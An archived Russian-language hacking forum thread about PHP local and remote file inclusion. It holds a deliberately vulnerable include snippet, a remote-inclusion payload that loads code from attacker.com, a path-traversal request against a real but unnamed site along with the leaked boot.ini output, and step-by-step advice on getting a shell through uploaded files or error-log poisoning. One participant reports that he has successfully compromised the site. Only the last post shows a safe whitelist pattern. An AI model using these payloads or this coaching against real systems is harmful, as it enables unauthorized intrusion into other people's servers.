Просмотр полной версии : Вопрос о PHP-инклюдинге
piton3000
04.12.2006, 01:01
Если скрипт воспринимает только одну переменную методом GET, и обрабатывает ее следующим способом:
if ($a=="abc"){include "abcd.php";}
if ($a=="asd"){include "qwe.php";}
все, больше никаких действий с этой переменной не производится
GreenBear
04.12.2006, 01:04
нет.
Возможен. проиклудятся файлы: qwe.php || abcd.php . =}
Баги только там, где ты можешь повлиять на аргументы функций include и подобных.
Тут аргумент - строка, менять которую ты не можешь
Бажный пример:
if ($exec=='main.php' && file_exists("$themedir/main.php"))
include "$themedir/main.php";
else include $exec;
index.php?exec=http://attacker.com/evilcode.txt?
Soul Linker
07.12.2006, 12:44
В продолжении темы...
Есть бажный срипт, который позволяет подключать любые локальные файлы. Можно шелл сделать там?
http:*/нискажу-сайт.com/бажный-скрипт.php?str=../../../../../../boot.ini
[boot loader] timeout=0 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOW S [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard RU" /noexecute=optout /fastdetect
при наличии локального инклуда шелл можно сделать так:
Залить на сайт (если есть форма где-то) файл любого типа с шелл-ным содержанием,а потом через проинклудить его..выполнится код =) Или оставляем злой запрос в еррор_лог-е и путем ручного перебора пути инклудим еррор_лог =)
Soul Linker
07.12.2006, 16:24
На счет заливания аватара с "хитрым" содержимым я догадался, там стоит vbulletin 3.5.4, не могу найти куда льет...
А на счет error.log это спасибо... пример запроса бы еще, буду премного благодарен.
Вбуллитин льет в базу, а не в файловую систему.
Посмотри пути к аватаркам, вложениями, и прочему на форуме. Админ мог переключить настройки в файловую систему, тогда, возможно, прокатит. Но ВБ - форум не дурак. Он вроде как содержимое вкладываемых файлов смотрит (могу ошибаться.)
Soul Linker
07.12.2006, 19:08
Проинклудил через лог :D всем спасибо
зы InetCrack - вещь! :)
Можно ещё так - :)
<?php
$page = &$_GET['page'];
switch ($page) {
case "about":
$page = "about.txt";
break;
case "test":
$page = "test.txt";
break;
default:
$page = "default.txt";
}
$file = getcwd()."/text/".$page;
if ($page && is_file($file)) {require($file);}
?>
Сказал, что уже вопрос решен.Нафиг ваще свои знания здесь демонстрировать?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot